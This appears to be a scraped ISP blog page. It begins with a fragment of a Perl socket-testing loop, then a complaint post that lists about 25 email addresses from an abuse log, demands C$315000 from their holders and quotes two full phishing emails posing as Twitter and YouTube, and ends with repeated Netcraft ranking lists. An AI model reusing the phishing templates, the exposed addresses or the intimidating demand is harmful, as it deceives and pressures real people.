$result = syswrite ($handle, $session->{$handle}{buffer});

}

if (defined $result && $result > 0)

{

substr ($session->{$handle}{buffer}, 0, $result) = "";

if (length $session->{$handle}{buffer} < 1)

{

$session->{$handle}{status} = "rd";

$readers->add($handle);

$writers->remove($handle);

}

}

elsif ($! == $E_WOULDBLOCK)

{

next;

}

else

{

$session->{$handle}{timeout} = 0;

}

}

}

my $readable = (IO::Select->select($readers, undef, undef, 0))[0];

foreach my $handle (@$readable)

{

my $result;

if ($session->{$handle}{result} eq "udp53")

{

$result = $handle->recv($session->{$handle}{buffer}, 512);

$result = length $session->{$handle}{buffer} if defined $result;

}

elsif ($session->{$handle}{result} eq "tcp53")

{

$result = $handle->recv($session->{$handle}{buffer}, 2);

$result = length $session->{$handle}{buffer} if defined $result;

}

else

{

$result = sysread ($handle, $session->{$handle}{buffer}, 8192, length $session->{$handle}{buffer});

}

if (defined $result)

{

if ($session->{$handle}{result} eq "ip")

{

if ($test->{$session->{$handle}{result}}[0] eq "0.0.0.0")

{

if ($session->{$handle}{buffer} =~ /(\d+\.\d+\.\d+\.\d+)/)

{

$test->{$session->{$handle}{result}}[0] = $1;

$session->{$handle}{timeout} = 0;

}

else

{

next;

}

}

else

{

$session->{$handle}{timeout} = 0;

}

}

else

{

$test->{$session->{$handle}{result}}[0] = 1 if $result > 0;

$session->{$handle}{timeout} = 0;

}

}

elsif ($! == $E_WOULDBLOCK)

{

next;

}

else

{

$session->{$handle}{timeout} = 0;

}

}

foreach my $handle ($writers->handles, $readers->handles)

{

if ($time >= $session->{$handle}{timeout})

{

$readers->remove($handle) if $readers->exists($handle);

$writers->remove($handle) if $writers->exists($handle);

delete $session->{$handle};

close $handle;

}

}

}

last;

}

}



According to http://support.clean-mx.de/clean-mx/publog?ip=204.209.81.1



public access to list of all items



Anzahl Zeilen(geschtzt):31

TIMERS: Runtime Query: 0.0237 Seconds

Zeile Lfdnr Datum Relay Size Grund Sender Helo TLD AS# Ip Adresse Clientname

1 94071620 2011-09-19 08:20:27 relayx 0 5 lwinslow@chicousd.org doctor.nl2k.ab.ca ca Report false positive Report closed case make a suggestion AS6327 SenderBaseRipeAPnicARINLACNIC 204.209.81.1 doctor.nl2k.ab.ca

2 94027615 2011-09-19 01:36:37 relay 0 5 claude.tackett@creapointcom.com doctor.nl2k.ab.ca ca Report false positive Report closed case make a suggestion AS6327 SenderBaseRipeAPnicARINLACNIC 204.209.81.1 doctor.nl2k.ab.ca

3 94021689 2011-09-18 23:54:12 relay3 0 5 heddi_1@urc.state.in.us doctor.nl2k.ab.ca ca Report false positive Report closed case make a suggestion AS6327 SenderBaseRipeAPnicARINLACNIC 204.209.81.1 doctor.nl2k.ab.ca

4 94019277 2011-09-18 21:54:35 relay 0 5 billy@cdsnc.com doctor.nl2k.ab.ca ca Report false positive Report closed case make a suggestion AS6327 SenderBaseRipeAPnicARINLACNIC 204.209.81.1 doctor.nl2k.ab.ca

5 94014627 2011-09-18 20:22:39 relay 0 5 heehee6@mail2freedom.com doctor.nl2k.ab.ca ca Report false positive Report closed case make a suggestion AS6327 SenderBaseRipeAPnicARINLACNIC 204.209.81.1 doctor.nl2k.ab.ca

6 93918400 2011-09-18 01:50:10 relay 0 5 foot_club-unsubscribe@yahoogroups.com doctor.nl2k.ab.ca ca Report false positive Report closed case make a suggestion AS6327 SenderBaseRipeAPnicARINLACNIC 204.209.81.1 doctor.nl2k.ab.ca

7 93903609 2011-09-18 00:28:38 relay 0 5 claude181@hotmail.com doctor.nl2k.ab.ca ca Report false positive Report closed case make a suggestion AS6327 SenderBaseRipeAPnicARINLACNIC 204.209.81.1 doctor.nl2k.ab.ca

8 93902472 2011-09-17 23:08:56 relay3 0 5 suprbltch@optibase.com doctor.nl2k.ab.ca ca Report false positive Report closed case make a suggestion AS6327 SenderBaseRipeAPnicARINLACNIC 204.209.81.1 doctor.nl2k.ab.ca

9 93898447 2011-09-17 21:36:13 relayn 0 5 lyedm_chen@ms49.hinet.net doctor.nl2k.ab.ca ca Report false positive Report closed case make a suggestion AS6327 SenderBaseRipeAPnicARINLACNIC 204.209.81.1 doctor.nl2k.ab.ca

10 93897366 2011-09-17 21:12:53 relay3 0 5 billnn@propel.com doctor.nl2k.ab.ca ca Report false positive Report closed case make a suggestion AS6327 SenderBaseRipeAPnicARINLACNIC 204.209.81.1 doctor.nl2k.ab.ca

11 93892395 2011-09-17 19:53:44 relay 0 5 claudia.endrizzi@wuerth-phoenix.com doctor.nl2k.ab.ca ca Report false positive Report closed case make a suggestion AS6327 SenderBaseRipeAPnicARINLACNIC 204.209.81.1 doctor.nl2k.ab.ca

12 93889337 2011-09-17 18:41:59 relay3 0 5 billlydd@striker.ottawa.on.ca doctor.nl2k.ab.ca ca Report false positive Report closed case make a suggestion AS6327 SenderBaseRipeAPnicARINLACNIC 204.209.81.1 doctor.nl2k.ab.ca

13 93881485 2011-09-17 17:30:34 relay3 0 5 survive@amega.com doctor.nl2k.ab.ca ca Report false positive Report closed case make a suggestion AS6327 SenderBaseRipeAPnicARINLACNIC 204.209.81.1 doctor.nl2k.ab.ca

14 93855152 2011-09-17 13:46:35 relayn 0 5 jonathan_vangeest@ama-assn.org doctor.nl2k.ab.ca ca Report false positive Report closed case make a suggestion AS6327 SenderBaseRipeAPnicARINLACNIC 204.209.81.1 doctor.nl2k.ab.ca

15 93827299 2011-09-17 10:14:49 relay 0 5 jonetou@s-3.com doctor.nl2k.ab.ca ca Report false positive Report closed case make a suggestion AS6327 SenderBaseRipeAPnicARINLACNIC 204.209.81.1 doctor.nl2k.ab.ca

16 93818077 2011-09-17 08:42:44 relay 0 5 lwisner@pacifier.com doctor.nl2k.ab.ca ca Report false positive Report closed case make a suggestion AS6327 SenderBaseRipeAPnicARINLACNIC 204.209.81.1 doctor.nl2k.ab.ca

17 93811614 2011-09-17 07:29:48 relayn 0 5 lyde@seadigital.com doctor.nl2k.ab.ca ca Report false positive Report closed case make a suggestion AS6327 SenderBaseRipeAPnicARINLACNIC 204.209.81.1 doctor.nl2k.ab.ca

18 93808801 2011-09-17 06:47:39 relay 0 5 bin.liu@delta.com.tw doctor.nl2k.ab.ca ca Report false positive Report closed case make a suggestion AS6327 SenderBaseRipeAPnicARINLACNIC 204.209.81.1 doctor.nl2k.ab.ca

19 93792566 2011-09-17 04:53:47 relay 0 5 jonjensen@seagate.com doctor.nl2k.ab.ca ca Report false positive Report closed case make a suggestion AS6327 SenderBaseRipeAPnicARINLACNIC 204.209.81.1 doctor.nl2k.ab.ca

20 93753495 2011-09-17 01:17:50 relayx 0 5 supersonicmarky@patryn.com doctor.nl2k.ab.ca ca Report false positive Report closed case make a suggestion AS6327 SenderBaseRipeAPnicARINLACNIC 204.209.81.1 doctor.nl2k.ab.ca

21 93716767 2011-09-16 20:17:39 relay 0 5 surfhopper@ppersonnel.com doctor.nl2k.ab.ca ca Report false positive Report closed case make a suggestion AS6327 SenderBaseRipeAPnicARINLACNIC 204.209.81.1 doctor.nl2k.ab.ca

22 93651047 2011-09-16 12:15:06 relay 0 5 hectorroblesn@urc.state.in.us doctor.nl2k.ab.ca ca Report false positive Report closed case make a suggestion AS6327 SenderBaseRipeAPnicARINLACNIC 204.209.81.1 doctor.nl2k.ab.ca

23 93640360 2011-09-16 10:59:09 relay 0 5 footewsoijovsdgc@mail2world.com doctor.nl2k.ab.ca ca Report false positive Report closed case make a suggestion AS6327 SenderBaseRipeAPnicARINLACNIC 204.209.81.1 doctor.nl2k.ab.ca

24 93630661 2011-09-16 09:26:49 relayn 0 5 abhi12@conectanet.com.br doctor.nl2k.ab.ca ca Report false positive Report closed case make a suggestion AS6327 SenderBaseRipeAPnicARINLACNIC 204.209.81.1 doctor.nl2k.ab.ca

25 93617593 2011-09-16 05:17:37 relayn 0 5 hectorwgad@urc.state.in.us doctor.nl2k.ab.ca ca Report false positive Report closed case make a suggestion AS6327 SenderBaseRipeAPnicARINLACNIC 204.209.81.1 doctor.nl2k.ab.ca



Those 25 e-mail address holders now owe nk.ca C$315000 or 20% of your gross mothly income whichever is the higher of the 2.

Please arrange payment with Case Receivables at +1-780-416-4840 .



when someone sends e-mail like



Delivery-date: Sat, 17 Sep 2011 09:12:59 -0700

Received: from doctor.nl2k.ab.ca ([204.209.81.1])

by pascal.junkemailfilter.com with smtp (Exim 4.76)

id 1R4xVi-0008Hw-Rn on interface=184.105.182.180

for tschmidt@hscgi.com; Sat, 17 Sep 2011 09:12:59 -0700

Date: Sat, 17 Sep 2011 10:12:58 +0000 (UTC)

From: "Twitter"

Reply-To: noreply@postmaster.twitter.com

To: tschmidt@hscgi.com

Message-Id: <0eeec7dacd13_4ec3b4f68afbad673f@mx007.twitter.com>

Subject: You have 1 notification from Twitter!

Mime-Version: 1.0

Content-Type: text/html; charset=utf-8

Content-Transfer-Encoding: Quoted-printable

Content-Disposition: inline

X-Campaignid: twitter20110917525138

Errors-To: Twitter

Bounces-To: Twitter

X-Sender-Domain: nl2k.ab.ca

X-Spamfilter-host: pascal.junkemailfilter.com - http://www.junkemailfilter.com

X-Mail-from: lydia.rudakewycz@erac.com

X-Spam-Class: SPAM-HIGH-VERY - URIBL - Message links to Blacklisted Site [cuchillas.com.mx] hostkarma.junkemailfilter.com/127.0.0.2, 127.0.2.2 - X=pascal H=doctor.nl2k.ab.ca [204.209.81.1] HELO=[doctor.nl2k.ab.ca] F=[lydia.rudakewycz@erac.com] T=[tschmidt@hscgi.com] S=[You have 1 notification from Twitter!]

X-Spamsave: Yes - URIBL - Message links to Blacklisted Site [cuchillas.com.mx] hostkarma.junkemailfilter.com/127.0.0.2, 127.0.2.2 - X=pascal H=doctor.nl2k.ab.ca [204.209.81.1] HELO=[doctor.nl2k.ab.ca] F=[lydia.rudakewycz@erac.com] T=[tschmidt@hscgi.com] S=[You have 1 notification from Twitter!]

X-Abuse-email:

X-Abuse-email: postmaster@nl2k.ab.ca

X-Sender-Host-Address: 204.209.81.1

X-Sender-Host-Name: doctor.nl2k.ab.ca

X-Original-helo: doctor.nl2k.ab.ca







Feedback-Type: abuse

User-Agent: JunkEmailFilter - Abuse Reporter/1.0 - Testing - Feedback Appreciated

Version: 0.1

Original-Mail-From: "Twitter"

Original-Rcpt-To: tschmidt@hscgi.com

Received-Date: Sat, 17 Sep 2011 09:12:59 -0700

Source-IP: 204.209.81.1





Part 1.2

Subject:

You have 1 notification from Twitter!

From:

"Twitter"

Date:

9/17/2011 4:12 AM

To:

tschmidt@hscgi.com

Delivery-date:

Sat, 17 Sep 2011 09:12:59 -0700

Received:

from doctor.nl2k.ab.ca ([204.209.81.1]) by pascal.junkemailfilter.com with smtp (Exim 4.76) id 1R4xVi-0008Hw-Rn on interface=184.105.182.180 for tschmidt@hscgi.com; Sat, 17 Sep 2011 09:12:59 -0700

Reply-To:

noreply@postmaster.twitter.com

Message-ID:

<0eeec7dacd13_4ec3b4f68afbad673f@mx007.twitter.com>

MIME-Version:

1.0

Content-Type:

text/html; charset=utf-8

Content-Transfer-Encoding:

Quoted-printable

Content-Disposition:

inline

X-Campaignid:

twitter20110917525138

Errors-To:

Twitter

Bounces-To:

Twitter

X-Sender-Domain:

nl2k.ab.ca

X-Spamfilter-host:

pascal.junkemailfilter.com - http://www.junkemailfilter.com

X-Mail-from:

lydia.rudakewycz@erac.com

X-Spam-Class:

SPAM-HIGH-VERY - URIBL - Message links to Blacklisted Site [cuchillas.com.mx] hostkarma.junkemailfilter.com/127.0.0.2, 127.0.2.2 - X=pascal H=doctor.nl2k.ab.ca [204.209.81.1] HELO=[doctor.nl2k.ab.ca] F=[lydia.rudakewycz@erac.com] T=[tschmidt@hscgi.com] S=[You have 1 notification from Twitter!]

X-Spamsave:

Yes - URIBL - Message links to Blacklisted Site [cuchillas.com.mx] hostkarma.junkemailfilter.com/127.0.0.2, 127.0.2.2 - X=pascal H=doctor.nl2k.ab.ca [204.209.81.1] HELO=[doctor.nl2k.ab.ca] F=[lydia.rudakewycz@erac.com] T=[tschmidt@hscgi.com] S=[You have 1 notification from Twitter!]

X-Abuse-email:

postmaster@nl2k.ab.ca

X-Sender-Host-Address:

204.209.81.1

X-Sender-Host-Name:

doctor.nl2k.ab.ca

X-Original-helo:

doctor.nl2k.ab.ca









Hi,



Twitter has sent you a notification, for more details, please follow the link below:

http://twitter.com/support/?last_chance=2011-09-17&user_id=45fed0c9





The Twitter Team



If you received this message in error and did not sign up for a Twitter account,

click not my account.



Please do not reply to this message; it was sent from an unmonitored email

address. This message is a service email related to your use of Twitter. For

general inquiries or to request support with your Twitter account, please visit

us at Twitter Support.







like this twitter phish above



or



======== Original Headers ========



Delivery-date: Mon, 19 Sep 2011 09:32:44 -0700

Received: from doctor.nl2k.ab.ca ([204.209.81.1])

by pascal.junkemailfilter.com with smtp (Exim 4.76)

id 1R5gle-0006Px-Du on interface=184.105.182.181

for johnsmithsvt@owensoptions.com; Mon, 19 Sep 2011 09:32:44 -0700

Content-Type: multipart/alternative; boundary="===============3322713630=="

MIME-Version: 1.0

Subject: You have 1 notification from YouTube

From: YouTube Service

To: "johnsmithsvt@owensoptions.com"

Message-Id: <20110919103226.1467BBFCC@owensoptions.com>

Date: Mon, 19 Sep 2011 10:32:26 +0200 (CEST)

X-Sender-Domain: nl2k.ab.ca

X-Spamfilter-host: pascal.junkemailfilter.com - http://www.junkemailfilter.com

X-Mail-from: billsch@headwaycorp.com

X-Relay-Countries: ca

X-Spam-Report: SpamAssassin 3.3.2 (2011-06-06) on spamd1.ctyme.com

Spam Tests:

0.6 RCVD_IN_SORBS_WEB RBL: SORBS: sender is an abusable web server

[204.209.81.1 listed in dnsbl.sorbs.net]

1.1 DATE_IN_PAST_06_12 Date: is 6 to 12 hours before Received: date

0.0 DKIM_ADSP_CUSTOM_HIGH No valid author signature, adsp_override is

CUSTOM_HIGH

2.7 RCVD_IN_PSBL RBL: Received via a relay in PSBL

[204.209.81.1 listed in psbl.surriel.com]

1.2 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net

[Blocked - see ]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[204.209.81.1 listed in bl.score.senderscore.com]

1.6 RCVD_IN_BRBL_LASTEXT RBL: RCVD_IN_BRBL_LASTEXT

[204.209.81.1 listed in bb.barracudacentral.org]

0.7 HTML_IMAGE_ONLY_20 BODY: HTML: images with 1600-2000 bytes of words

0.0 HTML_MESSAGE BODY: HTML included in message

10 NIXSPAM_IXHASH BODY: iXhash found @ ix.dnsbl.manitu.net

0.3 HTML_SHORT_LINK_IMG_3 HTML is very short with a linked image

4.0 JM_SOUGHT_1 Body contains frequently-spammed text patterns

4.0 JM_SOUGHT_2 Body contains frequently-spammed text patterns

2.6 NML_ADSP_CUSTOM_HIGH ADSP custom_high hit, and not from a mailing

list

0.0 T_REMOTE_IMAGE Message contains an external image

X-Spam-Class: SPAM-HIGH - SpamAssassin - Score=30

X-Spam-Class: SPAM-HIGH - SpamAssassin rejected - Score=30 (15) X=pascal H=doctor.nl2k.ab.ca [204.209.81.1] HELO=[doctor.nl2k.ab.ca] F=[billsch@headwaycorp.com] T=[johnsmithsvt@owensoptions.com] S=[You have 1 notification from YouTube] - X=pascal H=doctor.nl2k.ab.ca [204.209.81.1] HELO=[doctor.nl2k.ab.ca] F=[billsch@headwaycorp.com] T=[johnsmithsvt@owensoptions.com] S=[You have 1 notification from YouTube]

X-Spamsave: Yes - SpamAssassin rejected - Score=30 (15) X=pascal H=doctor.nl2k.ab.ca [204.209.81.1] HELO=[doctor.nl2k.ab.ca] F=[billsch@headwaycorp.com] T=[johnsmithsvt@owensoptions.com] S=[You have 1 notification from YouTube] - X=pascal H=doctor.nl2k.ab.ca [204.209.81.1] HELO=[doctor.nl2k.ab.ca] F=[billsch@headwaycorp.com] T=[johnsmithsvt@owensoptions.com] S=[You have 1 notification from YouTube]

X-Sender-Host-Address: 204.209.81.1

X-Sender-Host-Name: doctor.nl2k.ab.ca

X-Original-helo: doctor.nl2k.ab.ca







Feedback-Type: abuse

User-Agent: JunkEmailFilter - Abuse Reporter/1.0 - Testing - Feedback Appreciated

Version: 0.1

Original-Mail-From: YouTube Service

Original-Rcpt-To: "johnsmithsvt@owensoptions.com"

Received-Date: Mon, 19 Sep 2011 09:32:44 -0700

Source-IP: 204.209.81.1





Part 1.2

Subject:

You have 1 notification from YouTube

From:

YouTube Service

Date:

9/19/2011 2:32 AM

To:

"johnsmithsvt@owensoptions.com"

Delivery-date:

Mon, 19 Sep 2011 09:32:44 -0700

Received:

from doctor.nl2k.ab.ca ([204.209.81.1]) by pascal.junkemailfilter.com with smtp (Exim 4.76) id 1R5gle-0006Px-Du on interface=184.105.182.181 for johnsmithsvt@owensoptions.com; Mon, 19 Sep 2011 09:32:44 -0700

Content-Type:

multipart/alternative; boundary="===============3322713630=="

MIME-Version:

1.0

Message-ID:

<20110919103226.1467BBFCC@owensoptions.com>

X-Sender-Domain:

nl2k.ab.ca

X-Spamfilter-host:

pascal.junkemailfilter.com - http://www.junkemailfilter.com

X-Mail-from:

billsch@headwaycorp.com

X-Relay-Countries:

ca

X-Spam-Report:

SpamAssassin 3.3.2 (2011-06-06) on spamd1.ctyme.com Spam Tests: 0.6 RCVD_IN_SORBS_WEB RBL: SORBS: sender is an abusable web server [204.209.81.1 listed in dnsbl.sorbs.net] 1.1 DATE_IN_PAST_06_12 Date: is 6 to 12 hours before Received: date 0.0 DKIM_ADSP_CUSTOM_HIGH No valid author signature, adsp_override is CUSTOM_HIGH 2.7 RCVD_IN_PSBL RBL: Received via a relay in PSBL [204.209.81.1 listed in psbl.surriel.com] 1.2 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net [Blocked - see ] 1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL, https://senderscore.org/blacklistlookup/ [204.209.81.1 listed in bl.score.senderscore.com] 1.6 RCVD_IN_BRBL_LASTEXT RBL: RCVD_IN_BRBL_LASTEXT [204.209.81.1 listed in bb.barracudacentral.org] 0.7 HTML_IMAGE_ONLY_20 BODY: HTML: images with 1600-2000 bytes of words 0.0 HTML_MESSAGE BODY: HTML included in message 10 NIXSPAM_IXHASH BODY: iXhash found @ ix.dnsbl.manitu.net 0.3 HTML_SHORT_LINK_IMG_3 HTML is very short with a linked image 4.0 JM_SOUGHT_1 Body contains frequently-spammed text patterns 4.0 JM_SOUGHT_2 Body contains frequently-spammed text patterns 2.6 NML_ADSP_CUSTOM_HIGH ADSP custom_high hit, and not from a mailing list * 0.0 T_REMOTE_IMAGE Message contains an external image

X-Spam-Class:

SPAM-HIGH - SpamAssassin - Score=30

X-Spam-Class:

SPAM-HIGH - SpamAssassin rejected - Score=30 (15) X=pascal H=doctor.nl2k.ab.ca [204.209.81.1] HELO=[doctor.nl2k.ab.ca] F=[billsch@headwaycorp.com] T=[johnsmithsvt@owensoptions.com] S=[You have 1 notification from YouTube] - X=pascal H=doctor.nl2k.ab.ca [204.209.81.1] HELO=[doctor.nl2k.ab.ca] F=[billsch@headwaycorp.com] T=[johnsmithsvt@owensoptions.com] S=[You have 1 notification from YouTube]

X-Spamsave:

Yes - SpamAssassin rejected - Score=30 (15) X=pascal H=doctor.nl2k.ab.ca [204.209.81.1] HELO=[doctor.nl2k.ab.ca] F=[billsch@headwaycorp.com] T=[johnsmithsvt@owensoptions.com] S=[You have 1 notification from YouTube] - X=pascal H=doctor.nl2k.ab.ca [204.209.81.1] HELO=[doctor.nl2k.ab.ca] F=[billsch@headwaycorp.com] T=[johnsmithsvt@owensoptions.com] S=[You have 1 notification from YouTube]

X-Sender-Host-Address:

204.209.81.1

X-Sender-Host-Name:

doctor.nl2k.ab.ca

X-Original-helo:

doctor.nl2k.ab.ca



YouTube has sent you a notification:

You have 1 notification from YouTube

To:johnsmithsvt@owensoptions.com



For more details, please follow the link below:

http://www.youtube.com/support/?last_chance=2011-09-19&user_id=921c9d



Please do not reply to this message; it was sent from an unmonitored email address.



youtube phish above.



You should have a life long denial / ban from the internet and computer and or cell/mobile phone device.



NetKnow now in Netcraft's Top 14750

All data is from Netcraft Toolbar . Looks as if there are major changes to the NEtcraft algorithm!



NetKnow







Netknow now ranks 14707 at Netcraft.




A significant increase!



Some of our others domains and services ranks as follows:



NetKnow Secure Server

ranks 95875 from 103450 on Netcraft.

NetKnow's secondary server

ranks at 153736 from 157582 last week on Netcraft.

NetKnow's Anonynous FTP server

is at 288385 from 292722 and non-anonymous rank 256817 from 260802.

www.nl2k.ab.ca

ranks 271672 from 275801 on Netcraft.

edmontonab.ca

ranks 284049 from 284049 .

internetedmonton.ca

ranks at 279922 from 292721 .

edmontoninternetserviceprovider.ca

is at 288601 from 292946 .





How do we compare with other providers in

Edmonton
, Alberta, Canada?



Telus and reviews





Next we have Telus.com

ranked by Netcraft at 39741 from 38982 with Telus.net

ranking 4954 from 4850 .

A customer of theirs

securityfocus.com

rank 4148 from 4233 .

Sometimes their Web Hosting is done by
title="Internet Names for Business">Internet Names for Business


is ranked by Netcraft at 244101 from 236139 .

And Edmonton Chamber of Commerce

is at 268827 from 272834 .



Is Telus's ADSL network suspectible to Code Red Attacks and Attackers?



Reviews of Telus are available :





Juno and NetZero





We have Juno Internet ranked on top

at 10746 from 10790 who are the owners of

US Based Netzero
at Netcraft Rank 15513 from 15346 .



Netknow again





We at Netknow are up 769 and up 19670 the beginning of the year 2011 from 34539 . We aim to be above 10000 by the end of September 2011 .



City of Edmonton







The City of Edmonton
ranks 34467 from 35271 by Netcraft and are now with Alentus of Edmonton.



Shaw Cable





Next, members.shaw.ca

ranks 21542 from 21601 and

Shaw Cable

is next at Netcraft rank 34626 from 34713. Briefly unavailable during high peak demand.

Their Network Hosting Arm,

Big Pipe is at

Netcraft rank 34626 from 34713.

One of customer of Shaw Avalon Global

rank 306819 from 311632.



Reviews of Shaw are available :







University of Alberta







The University of Alberta
ranks 47933 from 47342.



Xplornet





xplornet

ranks 107205 from 105795 and are listed with

Stentor.



Government of Alberta





The Government of Alberta Website

ranks 138176 from 140327 by Netcraft .



Primus





Primus

ranks 136675 from 140498 . Or

Colo Is here
ranks 249912 from 275508.



Internet Centre / CCINet





Internet Centre

rank 168005 from 167995 and using Worldgate IPs.



NAIT / Northern Alberta Institute of Technology





The Northern Alberta Institute of Technology

ranks 175671 from 178387.



Uniserve / Interbaun





Next, Uniserve

ranks on Netcraft 182410 from 182050.

One of their acquisitions

interbaun

ranks with Netcraft 182410 from 182050 due to merging of sites.

One customer just came over from this organization in Nov 2006.





Wolfpaw





Computer Engineering

ranks 263991 from 267900. Thank you Scott.

And they seem to be hosted by wolfpaw.net

which ranks at 195246 from 198310.



3Web / CIA





Next is 3 Web

which ranks 343531 from 348521 And a questionable secure certificate. Their parent company

Cybersurf

is ranked 212418 from 211288.





Alentus





Alentus

rank by Netcraft 216330 from 219609 and I note they are hosted in the USA .

One of their customers

The Alberta New Democrat Party

ranks 250104 from 253981 .



Nucleus Internet Services





After that we have



Nucleus Information Services
which can be found at

Netcraft Rank 226133 from 224562 .



WebFire





Webfire.ca

ranks 249716 from 253572 and seems to be connected with Shaw.



MDCi





MDCi, the company that bought out OANet.com

ranks 260967 from 264877.



WSI Corporation





Next is WSI - We Simply The Internet of Toronto

at Netcraft Position 268365 from 272327



Radiant Communications





Radiant Communications

are ranked by Netcraft 269293 from 265661.



Grant MacEwen University





MacEwan

ranks 270451 from 274522.





Wiband Wireless





Wiband Wireless

rank on Netcraft at 270802 from 274884 and

their customer Found Locally

ranks at 264269 from 268197

and Memory Express

ranks 15642 from 15666 Interesting!



TIC Internet





TIC Internet

ranks 270981 from 267221 ( I do remember you).



Nisa Custom Internet Solutions





Nisa Custom Internet Solutions

ranks 274086 from 278234 by Netcraft



Wild Rose Internet





Wild Rose Internet

ranks 277725 from 281862 and I wonder if this is another wireless branch of Tera-Byte.



Open Concept Internet, Inc.





Open Concept Internet, Inc.

rank 278773 from 282909.



Platinum Communications





Platinum Communications Corp.

ranks 279647 from 283609.



Tera Byte Edmonton and reviews





Next is Tera-Byte

at Netcraft Rank 288183 from 292521 with

Tera-Byte.ca

ranking 286349 from 290687 and their wireless arm Tera-Byte Wireless

ranks 279963 from 284091 and

airsurfer.ca is now part of Tera-Byte Wireless. One of their clients nexopia

local Edmonton Social MEdia Site is ranked 210758 from ????. Very Interesting!

Another of their customers The Alberta Liberals

at 247302 from 264767.

One of Tera-Byte's acquisitions

Edmonton Community Networks

ranks at 277842 from 281986 and

Go Edmonton ranks 271889 from 276018.

Reviews of Tera-byte is available at

here

and another here



Carbon 14





Carbon 14 Graphic Art and Web Design

ranks 280358 from 284455 on Netcraft and note they are connected to Interspots.

BTW Illusions Photographics wants a word with you!



MediaShaker





Media Shakers of Edmonton

ranks 284760 from 289043.



Emergence by Design





Emergence by Design

now ranks 286086 from 290420.



Koi Media





Koi Media

rank 287173 from 291548



Leduc Data





Leduc Data

ranks 287691 from 292048





InterSpots





Interspots of Edmonton

rank 288082 from 292420;

a customer of theirs conboland.com

ranks 288096 from 292428 .

Another customer the Progressive Conservative Party of Alberta

ranks 280944 from 285006 .



Core Network Solutions Inc.





Core Network Solutions Inc.

ranks at 288308 from 292642.



The Network Centre





The Network Centre

ranks 288359 from 292693.



Internet Crossroads





Internet Crossroads Ltd of North Edmonton

rank nothing from nothing by Netcraft and seems to merged with Tera-Byte/ecn.ab.ca .



If I remember anymore, I will add to this entry, before Netcraft changes

our ranking. Please watch this space and please feel free to peruse

our services.

NetKnow now in Netcraft's Top 15500

All data is from Netcraft Toolbar . Looks as if there are major changes to the NEtcraft algorithm!



NetKnow







Netknow now ranks 15476 at Netcraft.




A significant increase!



Some of our others domains and services ranks as follows:



NetKnow Secure Server

ranks 101534 from 103450 on Netcraft.

NetKnow's secondary server

ranks at 156038 from 157582 last week on Netcraft.

NetKnow's Anonynous FTP server

is at 292722 from 295319 and non-anonymous rank 2608023243 from 263243.

www.nl2k.ab.ca

ranks 275801 from 278419 on Netcraft.

edmontonab.ca

ranks 284049 from 286813 .

internetedmonton.ca

ranks at 292721 from 295318 .

edmontoninternetserviceprovider.ca

is at 292946 from 295558 .





How do we compare with other providers in

Edmonton
, Alberta, Canada?



Telus and reviews





Next we have Telus.com

ranked by Netcraft at 38982 from 38835 with Telus.net

ranking 4850 from 4820 .

A customer of theirs

securityfocus.com

rank 4233 from 4232 .

Sometimes their Web Hosting is done by
title="Internet Names for Business">Internet Names for Business


is ranked by Netcraft at 236139 from 238357 .

And Edmonton Chamber of Commerce

is at 272834 from 275442 .



Is Telus's ADSL network suspectible to Code Red Attacks and Attackers?



Reviews of Telus are available :





Juno and NetZero





We have Juno Internet ranked on top

at 10746 from 10875 who are the owners of

US Based Netzero
at Netcraft Rank 15346 from 15479 .



Netknow again





We at Netknow are up 638 and up 18901 the beginning of the year 2011 from 34539 . We aim to be above 10000 by the end of September 2011 .



City of Edmonton







The City of Edmonton
ranks 35271 from 35988 by Netcraft and are now with Alentus of Edmonton.



Shaw Cable





Next, members.shaw.ca

ranks 21601 from 21331 and

Shaw Cable

is next at Netcraft rank 34713 from 39635. Briefly unavailable during high peak demand.

Their Network Hosting Arm,

Big Pipe is at

Netcraft rank 34713 from 36353.

One of customer of Shaw Avalon Global

rank 311632 from 314336.



Reviews of Shaw are available :







University of Alberta







The University of Alberta
ranks 47342 from 48580.



Xplornet





xplornet

ranks 105795 from 104210 and are listed with

Stentor.



Government of Alberta





The Government of Alberta Website

ranks 140327 from 136563 by Netcraft .



Primus





Primus

ranks 140498 from 145477 . Or

Colo Is here
ranks 275508 from 286500.



Internet Centre / CCINet





Internet Centre

rank 167995 from 177900 and using Worldgate IPs.



NAIT / Northern Alberta Institute of Technology





The Northern Alberta Institute of Technology

ranks 178387 from 180224.



Uniserve / Interbaun





Next, Uniserve

ranks on Netcraft 182050 from 180765.

One of their acquisitions

interbaun

ranks with Netcraft 182050 from 180765 due to merging of sites.

One customer just came over from this organization in Nov 2006.





Wolfpaw





Computer Engineering

ranks 267900 from 270479. Thank you Scott.

And they seem to be hosted by wolfpaw.net

which ranks at 198310 from 193078.



3Web / CIA





Next is 3 Web

which ranks 348521 from 351682 And a questionable secure certificate. Their parent company

Cybersurf

is ranked 211288 from 213381.





Alentus





Alentus

rank by Netcraft 219609 from 221740 and I note they are hosted in the USA .

One of their customers

The Alberta New Democrat Party

ranks 253981 from 256336 .



Nucleus Internet Services





After that we have



Nucleus Information Services
which can be found at

Netcraft Rank 224562 from 226540 .



WebFire





Webfire.ca

ranks 253572 from 255976 and seems to be connected with Shaw.



MDCi





MDCi, the company that bought out OANet.com

ranks 264877 from 267283.



Radiant Communications





Radiant Communications

are ranked by Netcraft 265661 from 261119.



TIC Internet





TIC Internet

ranks 267221 from 269810 ( I do remember you).



WSI Corporation





Next is WSI - We Simply The Internet of Toronto

at Netcraft Position 272327 from 267239







Grant MacEwen University





MacEwan

ranks 274522 from 277153.



Wiband Wireless





Wiband Wireless

rank on Netcraft at 274884 from 277502 and

their customer Found Locally

ranks at 268197 from 270800

and Memory Express

ranks 15666 from 15310 Interesting!



Nisa Custom Internet Solutions





Nisa Custom Internet Solutions

ranks 278234 from 280796 by Netcraft



Wild Rose Internet





Wild Rose Internet

ranks 281862 from 284634 and I wonder if this is another wireless branch of Tera-Byte.



Open Concept Internet, Inc.





Open Concept Internet, Inc.

rank 282909 from 285682.



Platinum Communications





Platinum Communications Corp.

ranks 283609 from 286361.



Tera Byte Edmonton and reviews





Next is Tera-Byte

at Netcraft Rank 292521 from 295107 with

Tera-Byte.ca

ranking 290687 from 293257 and their wireless arm Tera-Byte Wireless

ranks 284091 from 286860 and

